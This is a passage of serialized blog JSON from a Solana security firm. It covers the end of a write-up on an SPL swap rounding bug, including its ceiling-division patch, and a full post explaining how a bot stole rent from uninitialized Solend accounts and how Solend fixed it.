",{"type":24,"tag":69,"props":7060,"children":7063},{"href":7061,"rel":7062},"https://github.com/solana-labs/solana-program-library/pull/2942",[73],[7064],{"type":29,"value":7065},"introduce a PR",{"type":29,"value":7067}," which ceilings the computation in ",{"type":24,"tag":32,"props":7069,"children":7071},{"className":7070},[],[7072],{"type":29,"value":7073},"compute_new_destination_amount",{"type":29,"value":7075}," to correctly round within the stable curve math library.",{"type":24,"tag":80,"props":7077,"children":7079},{"code":7078,"language":84,"meta":7,"className":82,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y_prev: U256;\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n- y_prev = y;\n- y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n- .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n- if y == y_prev {\n+ let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+ .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+ if y_new == y {\n break;\n+ } else {\n+ y = y_new;\n }\n",[7080],{"type":24,"tag":32,"props":7081,"children":7082},{"__ignoreMap":7},[7083,7091,7121,7148,7176,7200,7276,7380,7407,7502,7605,7632,7644,7663,7686],{"type":24,"tag":90,"props":7084,"children":7085},{"class":92,"line":93},[7086],{"type":24,"tag":90,"props":7087,"children":7088},{"style":252},[7089],{"type":29,"value":7090}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":24,"tag":90,"props":7092,"children":7093},{"class":92,"line":200},[7094,7099,7103,7108,7112,7117],{"type":24,"tag":90,"props":7095,"children":7096},{"style":97},[7097],{"type":29,"value":7098}," let",{"type":24,"tag":90,"props":7100,"children":7101},{"style":97},[7102],{"type":29,"value":4653},{"type":24,"tag":90,"props":7104,"children":7105},{"style":136},[7106],{"type":29,"value":7107}," y_prev",{"type":24,"tag":90,"props":7109,"children":7110},{"style":120},[7111],{"type":29,"value":78},{"type":24,"tag":90,"props":7113,"children":7114},{"style":146},[7115],{"type":29,"value":7116}," U256",{"type":24,"tag":90,"props":7118,"children":7119},{"style":114},[7120],{"type":29,"value":381},{"type":24,"tag":90,"props":7122,"children":7123},{"class":92,"line":239},[7124,7128,7132,7136,7140,7144],{"type":24,"tag":90,"props":7125,"children":7126},{"style":97},[7127],{"type":29,"value":7098},{"type":24,"tag":90,"props":7129,"children":7130},{"style":97},[7131],{"type":29,"value":4653},{"type":24,"tag":90,"props":7133,"children":7134},{"style":136},[7135],{"type":29,"value":5413},{"type":24,"tag":90,"props":7137,"children":7138},{"style":120},[7139],{"type":29,"value":216},{"type":24,"tag":90,"props":7141,"children":7142},{"style":136},[7143],{"type":29,"value":5422},{"type":24,"tag":90,"props":7145,"children":7146},{"style":114},[7147],{"type":29,"value":381},{"type":24,"tag":90,"props":7149,"children":7150},{"class":92,"line":248},[7151,7156,7160,7164,7168,7172],{"type":24,"tag":90,"props":7152,"children":7153},{"style":636},[7154],{"type":29,"value":7155}," for",{"type":24,"tag":90,"props":7157,"children":7158},{"style":136},[7159],{"type":29,"value":3990},{"type":24,"tag":90,"props":7161,"children":7162},{"style":97},[7163],{"type":29,"value":5443},{"type":24,"tag":90,"props":7165,"children":7166},{"style":349},[7167],{"type":29,"value":5448},{"type":24,"tag":90,"props":7169,"children":7170},{"style":120},[7171],{"type":29,"value":729},{"type":24,"tag":90,"props":7173,"children":7174},{"style":114},[7175],{"type":29,"value":5457},{"type":24,"tag":90,"props":7177,"children":7178},{"class":92,"line":258},[7179,7183,7188,7192,7196],{"type":24,"tag":90,"props":7180,"children":7181},{"style":120},[7182],{"type":29,"value":346},{"type":24,"tag":90,"props":7184,"children":7185},{"style":136},[7186],{"type":29,"value":7187}," y_prev",{"type":24,"tag":90,"props":7189,"children":7190},{"style":120},[7191],{"type":29,"value":216},{"type":24,"tag":90,"props":7193,"children":7194},{"style":136},[7195],{"type":29,"value":5413},{"type":24,"tag":90,"props":7197,"children":7198},{"style":114},[7199],{"type":29,"value":381},{"type":24,"tag":90,"props":7201,"children":7202},{"class":92,"line":272},[7203,7207,7212,7216,7220,7224,7228,7232,7236,7240,7244,7248,7252,7256,7260,7264,7268,7272],{"type":24,"tag":90,"props":7204,"children":7205},{"style":120},[7206],{"type":29,"value":346},{"type":24,"tag":90,"props":7208,"children":7209},{"style":136},[7210],{"type":29,"value":7211}," y",{"type":24,"tag":90,"props":7213,"children":7214},{"style":120},[7215],{"type":29,"value":216},{"type":24,"tag":90,"props":7217,"children":7218},{"style":114},[7219],{"type":29,"value":1151},{"type":24,"tag":90,"props":7221,"children":7222},{"style":108},[7223],{"type":29,"value":5500},{"type":24,"tag":90,"props":7225,"children":7226},{"style":114},[7227],{"type":29,"value":117},{"type":24,"tag":90,"props":7229,"children":7230},{"style":120},[7231],{"type":29,"value":123},{"type":24,"tag":90,"props":7233,"children":7234},{"style":136},[7235],{"type":29,"value":5513},{"type":24,"tag":90,"props":7237,"children":7238},{"style":114},[7239],{"type":29,"value":133},{"type":24,"tag":90,"props":7241,"children":7242},{"style":349},[7243],{"type":29,"value":3191},{"type":24,"tag":90,"props":7245,"children":7246},{"style":114},[7247],{"type":29,"value":517},{"type":24,"tag":90,"props":7249,"children":7250},{"style":120},[7251],{"type":29,"value":319},{"type":24,"tag":90,"props":7253,"children":7254},{"style":108},[7255],{"type":29,"value":5534},{"type":24,"tag":90,"props":7257,"children":7258},{"style":114},[7259],{"type":29,"value":117},{"type":24,"tag":90,"props":7261,"children":7262},{"style":136},[7263],{"type":29,"value":3030},{"type":24,"tag":90,"props":7265,"children":7266},{"style":114},[7267],{"type":29,"value":517},{"type":24,"tag":90,"props":7269,"children":7270},{"style":120},[7271],{"type":29,"value":714},{"type":24,"tag":90,"props":7273,"children":7274},{"style":114},[7275],{"type":29,"value":1686},{"type":24,"tag":90,"props":7277,"children":7278},{"class":92,"line":281},[7279,7283,7287,7292,7296,7300,7304,7308,7312,7316,7320,7324,7328,7332,7336,7340,7344,7348,7352,7356,7360,7364,7368,7372,7376],{"type":24,"tag":90,"props":7280,"children":7281},{"style":120},[7282],{"type":29,"value":346},{"type":24,"tag":90,"props":7284,"children":7285},{"style":120},[7286],{"type":29,"value":5562},{"type":24,"tag":90,"props":7288,"children":7289},{"style":108},[7290],{"type":29,"value":7291},"checked_div",{"type":24,"tag":90,"props":7293,"children":7294},{"style":114},[7295],{"type":29,"value":117},{"type":24,"tag":90,"props":7297,"children":7298},{"style":108},[7299],{"type":29,"value":5576},{"type":24,"tag":90,"props":7301,"children":7302},{"style":114},[7303],{"type":29,"value":117},{"type":24,"tag":90,"props":7305,"children":7306},{"style":120},[7307],{"type":29,"value":123},{"type":24,"tag":90,"props":7309,"children":7310},{"style":136},[7311],{"type":29,"value":5513},{"type":24,"tag":90,"props":7313,"children":7314},{"style":114},[7315],{"type":29,"value":133},{"type":24,"tag":90,"props":7317,"children":7318},{"style":349},[7319],{"type":29,"value":3191},{"type":24,"tag":90,"props":7321,"children":7322},{"style":114},[7323],{"type":29,"value":517},{"type":24,"tag":90,"props":7325,"children":7326},{"style":120},[7327],{"type":29,"value":319},{"type":24,"tag":90,"props":7329,"children":7330},{"style":108},[7331],{"type":29,"value":5534},{"type":24,"tag":90,"props":7333,"children":7334},{"style":114},[7335],{"type":29,"value":117},{"type":24,"tag":90,"props":7337,"children":7338},{"style":136},[7339],{"type":29,"value":5617},{"type":24,"tag":90,"props":7341,"children":7342},{"style":114},[7343],{"type":29,"value":517},{"type":24,"tag":90,"props":7345,"children":7346},{"style":120},[7347],{"type":29,"value":319},{"type":24,"tag":90,"props":7349,"children":7350},{"style":108},[7351],{"type":29,"value":5630},{"type":24,"tag":90,"props":7353,"children":7354},{"style":114},[7355],{"type":29,"value":117},{"type":24,"tag":90,"props":7357,"children":7358},{"style":136},[7359],{"type":29,"value":5639},{"type":24,"tag":90,"props":7361,"children":7362},{"style":114},[7363],{"type":29,"value":517},{"type":24,"tag":90,"props":7365,"children":7366},{"style":120},[7367],{"type":29,"value":714},{"type":24,"tag":90,"props":7369,"children":7370},{"style":114},[7371],{"type":29,"value":517},{"type":24,"tag":90,"props":7373,"children":7374},{"style":120},[7375],{"type":29,"value":714},{"type":24,"tag":90,"props":7377,"children":7378},{"style":114},[7379],{"type":29,"value":381},{"type":24,"tag":90,"props":7381,"children":7382},{"class":92,"line":384},[7383,7387,7391,7395,7399,7403],{"type":24,"tag":90,"props":7384,"children":7385},{"style":120},[7386],{"type":29,"value":346},{"type":24,"tag":90,"props":7388,"children":7389},{"style":636},[7390],{"type":29,"value":5667},{"type":24,"tag":90,"props":7392,"children":7393},{"style":136},[7394],{"type":29,"value":5413},{"type":24,"tag":90,"props":7396,"children":7397},{"style":120},[7398],{"type":29,"value":2102},{"type":24,"tag":90,"props":7400,"children":7401},{"style":136},[7402],{"type":29,"value":7107},{"type":24,"tag":90,"props":7404,"children":7405},{"style":114},[7406],{"type":29,"value":269},{"type":24,"tag":90,"props":7408,"children":7409},{"class":92,"line":420},[7410,7414,7418,7422,7426,7430,7434,7438,7442,7446,7450,7454,7458,7462,7466,7470,7474,7478,7482,7486,7490,7494,7498],{"type":24,"tag":90,"props":7411,"children":7412},{"style":120},[7413],{"type":29,"value":6767},{"type":24,"tag":90,"props":7415,"children":7416},{"style":97},[7417],{"type":29,"value":287},{"type":24,"tag":90,"props":7419,"children":7420},{"style":114},[7421],{"type":29,"value":1151},{"type":24,"tag":90,"props":7423,"children":7424},{"style":136},[7425],{"type":29,"value":5473},{"type":24,"tag":90,"props":7427,"children":7428},{"style":114},[7429],{"type":29,"value":133},{"type":24,"tag":90,"props":7431,"children":7432},{"style":136},[7433],{"type":29,"value":5482},{"type":24,"tag":90,"props":7435,"children":7436},{"style":114},[7437],{"type":29,"value":172},{"type":24,"tag":90,"props":7439,"children":7440},{"style":120},[7441],{"type":29,"value":5491},{"type":24,"tag":90,"props":7443,"children":7444},{"style":114},[7445],{"type":29,"value":1151},{"type":24,"tag":90,"props":7447,"children":7448},{"style":108},[7449],{"type":29,"value":5500},{"type":24,"tag":90,"props":7451,"children":7452},{"style":114},[7453],{"type":29,"value":117},{"type":24,"tag":90,"props":7455,"children":7456},{"style":120},[7457],{"type":29,"value":123},{"type":24,"tag":90,"props":7459,"children":7460},{"style":136},[7461],{"type":29,"value":5513},{"type":24,"tag":90,"props":7463,"children":7464},{"style":114},[7465],{"type":29,"value":133},{"type":24,"tag":90,"props":7467,"children":7468},{"style":349},[7469],{"type":29,"value":3191},{"type":24,"tag":90,"props":7471,"children":7472},{"style":114},[7473],{"type":29,"value":517},{"type":24,"tag":90,"props":7475,"children":7476},{"style":120},[7477],{"type":29,"value":319},{"type":24,"tag":90,"props":7479,"children":7480},{"style":108},[7481],{"type":29,"value":5534},{"type":24,"tag":90,"props":7483,"children":7484},{"style":114},[7485],{"type":29,"value":117},{"type":24,"tag":90,"props":7487,"children":7488},{"style":136},[7489],{"type":29,"value":3030},{"type":24,"tag":90,"props":7491,"children":7492},{"style":114},[7493],{"type":29,"value":517},{"type":24,"tag":90,"props":7495,"children":7496},{"style":120},[7497],{"type":29,"value":714},{"type":24,"tag":90,"props":7499,"children":7500},{"style":114},[7501],{"type":29,"value":1686},{"type":24,"tag":90,"props":7503,"children":7504},{"class":92,"line":428},[7505,7509,7513,7517,7521,7525,7529,7533,7537,7541,7545,7549,7553,7557,7561,7565,7569,7573,7577,7581,7585,7589,7593,7597,7601],{"type":24,"tag":90,"props":7506,"children":7507},{"style":120},[7508],{"type":29,"value":6767},{"type":24,"tag":90,"props":7510,"children":7511},{"style":120},[7512],{"type":29,"value":5562},{"type":24,"tag":90,"props":7514,"children":7515},{"style":108},[7516],{"type":29,"value":5567},{"type":24,"tag":90,"props":7518,"children":7519},{"style":114},[7520],{"type":29,"value":117},{"type":24,"tag":90,"props":7522,"children":7523},{"style":108},[7524],{"type":29,"value":5576},{"type":24,"tag":90,"props":7526,"children":7527},{"style":114},[7528],{"type":29,"value":117},{"type":24,"tag":90,"props":7530,"children":7531},{"style":120},[7532],{"type":29,"value":123},{"type":24,"tag":90,"props":7534,"children":7535},{"style":136},[7536],{"type":29,"value":5513},{"type":24,"tag":90,"props":7538,"children":7539},{"style":114},[7540],{"type":29,"value":133},{"type":24,"tag":90,"props":7542,"children":7543},{"style":349},[7544],{"type":29,"value":3191},{"type":24,"tag":90,"props":7546,"children":7547},{"style":114},[7548],{"type":29,"value":517},{"type":24,"tag":90,"props":7550,"children":7551},{"style":120},[7552],{"type":29,"value":319},{"type":24,"tag":90,"props":7554,"children":7555},{"style":108},[7556],{"type":29,"value":5534},{"type":24,"tag":90,"props":7558,"children":7559},{"style":114},[7560],{"type":29,"value":117},{"type":24,"tag":90,"props":7562,"children":7563},{"style":136},[7564],{"type":29,"value":5617},{"type":24,"tag":90,"props":7566,"children":7567},{"style":114},[7568],{"type":29,"value":517},{"type":24,"tag":90,"props":7570,"children":7571},{"style":120},[7572],{"type":29,"value":319},{"type":24,"tag":90,"props":7574,"children":7575},{"style":108},[7576],{"type":29,"value":5630},{"type":24,"tag":90,"props":7578,"children":7579},{"style":114},[7580],{"type":29,"value":117},{"type":24,"tag":90,"props":7582,"children":7583},{"style":136},[7584],{"type":29,"value":5639},{"type":24,"tag":90,"props":7586,"children":7587},{"style":114},[7588],{"type":29,"value":517},{"type":24,"tag":90,"props":7590,"children":7591},{"style":120},[7592],{"type":29,"value":714},{"type":24,"tag":90,"props":7594,"children":7595},{"style":114},[7596],{"type":29,"value":517},{"type":24,"tag":90,"props":7598,"children":7599},{"style":120},[7600],{"type":29,"value":714},{"type":24,"tag":90,"props":7602,"children":7603},{"style":114},[7604],{"type":29,"value":381},{"type":24,"tag":90,"props":7606,"children":7607},{"class":92,"line":437},[7608,7612,7616,7620,7624,7628],{"type":24,"tag":90,"props":7609,"children":7610},{"style":120},[7611],{"type":29,"value":6767},{"type":24,"tag":90,"props":7613,"children":7614},{"style":636},[7615],{"type":29,"value":5667},{"type":24,"tag":90,"props":7617,"children":7618},{"style":136},[7619],{"type":29,"value":5672},{"type":24,"tag":90,"props":7621,"children":7622},{"style":120},[7623],{"type":29,"value":2102},{"type":24,"tag":90,"props":7625,"children":7626},{"style":136},[7627],{"type":29,"value":5413},{"type":24,"tag":90,"props":7629,"children":7630},{"style":114},[7631],{"type":29,"value":269},{"type":24,"tag":90,"props":7633,"children":7634},{"class":92,"line":574},[7635,7640],{"type":24,"tag":90,"props":7636,"children":7637},{"style":636},[7638],{"type":29,"value":7639}," break",{"type":24,"tag":90,"props":7641,"children":7642},{"style":114},[7643],{"type":29,"value":381},{"type":24,"tag":90,"props":7645,"children":7646},{"class":92,"line":606},[7647,7651,7655,7659],{"type":24,"tag":90,"props":7648,"children":7649},{"style":120},[7650],{"type":29,"value":6767},{"type":24,"tag":90,"props":7652,"children":7653},{"style":114},[7654],{"type":29,"value":5704},{"type":24,"tag":90,"props":7656,"children":7657},{"style":636},[7658],{"type":29,"value":2293},{"type":24,"tag":90,"props":7660,"children":7661},{"style":114},[7662],{"type":29,"value":269},{"type":24,"tag":90,"props":7664,"children":7665},{"class":92,"line":615},[7666,7670,7674,7678,7682],{"type":24,"tag":90,"props":7667,"children":7668},{"style":120},[7669],{"type":29,"value":6767},{"type":24,"tag":90,"props":7671,"children":7672},{"style":136},[7673],{"type":29,"value":5720},{"type":24,"tag":90,"props":7675,"children":7676},{"style":120},[7677],{"type":29,"value":216},{"type":24,"tag":90,"props":7679,"children":7680},{"style":136},[7681],{"type":29,"value":5672},{"type":24,"tag":90,"props":7683,"children":7684},{"style":114},[7685],{"type":29,"value":381},{"type":24,"tag":90,"props":7687,"children":7688},{"class":92,"line":623},[7689],{"type":24,"tag":90,"props":7690,"children":7691},{"style":114},[7692],{"type":29,"value":7693}," }\n",{"type":24,"tag":850,"props":7695,"children":7697},{"id":7696},"closing-thoughts",[7698],{"type":29,"value":7699},"Closing Thoughts",{"type":24,"tag":25,"props":7701,"children":7702},{},[7703],{"type":29,"value":7704},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":24,"tag":25,"props":7706,"children":7707},{},[7708,7710,7716],{"type":29,"value":7709},"Another interesting takeaway is that ",{"type":24,"tag":7711,"props":7712,"children":7713},"strong",{},[7714],{"type":29,"value":7715},"fuzzing can give a false sense of security",{"type":29,"value":7717},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":24,"tag":25,"props":7719,"children":7720},{},[7721,7723,7730],{"type":29,"value":7722},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":24,"tag":69,"props":7724,"children":7727},{"href":7725,"rel":7726},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[73],[7728],{"type":29,"value":7729},"port-mortem of the NSS overflow",{"type":29,"value":226},{"type":24,"tag":25,"props":7732,"children":7733},{},[7734],{"type":24,"tag":6301,"props":7735,"children":7737},{"alt":7,"src":7736},"/posts/spl-swap/p0.png",[],{"type":24,"tag":25,"props":7739,"children":7740},{},[7741],{"type":29,"value":7742},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":24,"tag":25,"props":7744,"children":7745},{},[7746],{"type":29,"value":7747},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":24,"tag":25,"props":7749,"children":7750},{},[7751],{"type":29,"value":7752},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":24,"tag":5249,"props":7754,"children":7755},{},[7756],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":7758},[7759,7760,7761,7762],{"id":5324,"depth":200,"text":5327},{"id":6307,"depth":200,"text":6310},{"id":6612,"depth":200,"text":6615},{"id":7696,"depth":200,"text":7699},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":7767,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":7768,"description":7769,"image":7770,"date":7774,"isFeatured":16,"onBlogPage":16,"tags":7775,"body":7776,"_type":5270,"_id":8099,"_source":5272,"_file":8100,"_stem":8101,"_extension":5275},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":7771,"width":7772,"height":7773},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[5287,18],{"type":21,"children":7777,"toc":8092},[7778,7783,7789,7794,7799,7804,7810,7823,7870,7900,7909,7914,7919,7924,7930,7943,7959,7964,7969,7984,7988,7993,8008,8015,8020,8030,8037,8041,8046,8052,8057,8062,8067,8073,8078],{"type":24,"tag":25,"props":7779,"children":7780},{},[7781],{"type":29,"value":7782},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":24,"tag":850,"props":7784,"children":7786},{"id":7785},"background",[7787],{"type":29,"value":7788},"Background",{"type":24,"tag":25,"props":7790,"children":7791},{},[7792],{"type":29,"value":7793},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":24,"tag":25,"props":7795,"children":7796},{},[7797],{"type":29,"value":7798},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":24,"tag":25,"props":7800,"children":7801},{},[7802],{"type":29,"value":7803},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":24,"tag":850,"props":7805,"children":7807},{"id":7806},"the-exploit",[7808],{"type":29,"value":7809},"The Exploit",{"type":24,"tag":25,"props":7811,"children":7812},{},[7813,7815,7821],{"type":29,"value":7814},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":24,"tag":32,"props":7816,"children":7818},{"className":7817},[],[7819],{"type":29,"value":7820},"init_reserve",{"type":29,"value":7822}," function, which creates 6 new accounts to store data about the reserve:",{"type":24,"tag":3100,"props":7824,"children":7825},{},[7826,7831,7836,7841,7852,7857],{"type":24,"tag":3104,"props":7827,"children":7828},{},[7829],{"type":29,"value":7830},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":24,"tag":3104,"props":7832,"children":7833},{},[7834],{"type":29,"value":7835},"reserve liquidity token account - holds deposited tokens",{"type":24,"tag":3104,"props":7837,"children":7838},{},[7839],{"type":29,"value":7840},"fee receiver token account - account which will receive origination fees on borrows",{"type":24,"tag":3104,"props":7842,"children":7843},{},[7844,7846],{"type":29,"value":7845},"reserve collateral mint account - deposit receipt token, also known as ",{"type":24,"tag":32,"props":7847,"children":7849},{"className":7848},[],[7850],{"type":29,"value":7851},"cTokens",{"type":24,"tag":3104,"props":7853,"children":7854},{},[7855],{"type":29,"value":7856},"reserve collateral token account - holds users' collateral tokens",{"type":24,"tag":3104,"props":7858,"children":7859},{},[7860,7862,7868],{"type":29,"value":7861},"creator collateral token account - creator's ",{"type":24,"tag":32,"props":7863,"children":7865},{"className":7864},[],[7866],{"type":29,"value":7867},"cToken",{"type":29,"value":7869}," account",{"type":24,"tag":25,"props":7871,"children":7872},{},[7873,7875,7880,7882,7887,7888,7893,7895],{"type":29,"value":7874},"Account creation and initialization are ",{"type":24,"tag":842,"props":7876,"children":7877},{},[7878],{"type":29,"value":7879},"usually",{"type":29,"value":7881}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":24,"tag":32,"props":7883,"children":7885},{"className":7884},[],[7886],{"type":29,"value":7820},{"type":29,"value":67},{"type":24,"tag":842,"props":7889,"children":7890},{},[7891],{"type":29,"value":7892},"supposed",{"type":29,"value":7894}," to look like:\n",{"type":24,"tag":6301,"props":7896,"children":7899},{"src":7897,"alt":7898},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":24,"tag":25,"props":7901,"children":7902},{},[7903,7905],{"type":29,"value":7904},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":24,"tag":6301,"props":7906,"children":7908},{"src":7907,"alt":7898},"/posts/rent-thief/attacktransac.png",[],{"type":24,"tag":25,"props":7910,"children":7911},{},[7912],{"type":29,"value":7913},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":24,"tag":25,"props":7915,"children":7916},{},[7917],{"type":29,"value":7918},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":24,"tag":25,"props":7920,"children":7921},{},[7922],{"type":29,"value":7923},"Despite this lost cost, this is pretty annoying...",{"type":24,"tag":850,"props":7925,"children":7927},{"id":7926},"example",[7928],{"type":29,"value":7929},"Example",{"type":24,"tag":25,"props":7931,"children":7932},{},[7933,7935,7942],{"type":29,"value":7934},"Let's take a look at ",{"type":24,"tag":69,"props":7936,"children":7939},{"href":7937,"rel":7938},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[73],[7940],{"type":29,"value":7941},"a real attack",{"type":29,"value":226},{"type":24,"tag":25,"props":7944,"children":7945},{},[7946,7953,7955],{"type":24,"tag":69,"props":7947,"children":7950},{"href":7948,"rel":7949},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[73],[7951],{"type":29,"value":7952},"Transaction 1",{"type":29,"value":7954},":\n",{"type":24,"tag":6301,"props":7956,"children":7958},{"alt":7,"src":7957},"https://i.imgur.com/xJvIwgc.png",[],{"type":24,"tag":25,"props":7960,"children":7961},{},[7962],{"type":29,"value":7963},"(...more accounts truncated)",{"type":24,"tag":25,"props":7965,"children":7966},{},[7967],{"type":29,"value":7968},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":24,"tag":25,"props":7970,"children":7971},{},[7972,7979,7980],{"type":24,"tag":69,"props":7973,"children":7976},{"href":7974,"rel":7975},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[73],[7977],{"type":29,"value":7978},"Attacker's Transaction",{"type":29,"value":7954},{"type":24,"tag":6301,"props":7981,"children":7983},{"alt":7,"src":7982},"https://i.imgur.com/CpSKuL3.png",[],{"type":24,"tag":25,"props":7985,"children":7986},{},[7987],{"type":29,"value":7963},{"type":24,"tag":25,"props":7989,"children":7990},{},[7991],{"type":29,"value":7992},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":24,"tag":25,"props":7994,"children":7995},{},[7996,8003,8004],{"type":24,"tag":69,"props":7997,"children":8000},{"href":7998,"rel":7999},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[73],[8001],{"type":29,"value":8002},"Transaction 2",{"type":29,"value":7954},{"type":24,"tag":6301,"props":8005,"children":8007},{"alt":7,"src":8006},"https://i.imgur.com/of0GIdw.png",[],{"type":24,"tag":25,"props":8009,"children":8010},{},[8011],{"type":24,"tag":6301,"props":8012,"children":8014},{"alt":7,"src":8013},"https://i.imgur.com/0STSyv8.png",[],{"type":24,"tag":25,"props":8016,"children":8017},{},[8018],{"type":29,"value":8019},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":24,"tag":25,"props":8021,"children":8022},{},[8023,8029],{"type":24,"tag":69,"props":8024,"children":8027},{"href":8025,"rel":8026},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[73],[8028],{"type":29,"value":7978},{"type":29,"value":78},{"type":24,"tag":25,"props":8031,"children":8032},{},[8033],{"type":24,"tag":6301,"props":8034,"children":8036},{"alt":7,"src":8035},"https://i.imgur.com/AmSPdmy.png",[],{"type":24,"tag":25,"props":8038,"children":8039},{},[8040],{"type":29,"value":7963},{"type":24,"tag":25,"props":8042,"children":8043},{},[8044],{"type":29,"value":8045},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":24,"tag":850,"props":8047,"children":8049},{"id":8048},"impact",[8050],{"type":29,"value":8051},"Impact",{"type":24,"tag":25,"props":8053,"children":8054},{},[8055],{"type":29,"value":8056},"Rent-thieving attacks don't steal much money.",{"type":24,"tag":25,"props":8058,"children":8059},{},[8060],{"type":29,"value":8061},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":24,"tag":25,"props":8063,"children":8064},{},[8065],{"type":29,"value":8066},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":24,"tag":850,"props":8068,"children":8070},{"id":8069},"solution",[8071],{"type":29,"value":8072},"Solution",{"type":24,"tag":25,"props":8074,"children":8075},{},[8076],{"type":29,"value":8077},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":24,"tag":25,"props":8079,"children":8080},{},[8081,8083,8090],{"type":29,"value":8082},"As a more permenant solution, Solend implemented ",{"type":24,"tag":69,"props":8084,"children":8087},{"href":8085,"rel":8086},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[73],[8088],{"type":29,"value":8089},"an onchain program",{"type":29,"value":8091}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":200,"depth":200,"links":8093},[8094,8095,8096,8097,8098],{"id":7785,"depth":200,"text":7788},{"id":7806,"depth":200,"text":7809},{"id":7926,"depth":200,"text":7929},{"id":8048,"depth":200,"text":8051},{"id":8069,"depth":200,"text":8072},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":8103,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8104,"description":8105,"author":8106,"image":8107,"date":8111,"isFeatured":16,"onBlogPage":16,"body":8112,"_type":5270,"_id":11631,"_source":5272,"_file":11632,"_stem":11633,"_extension":5275},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of 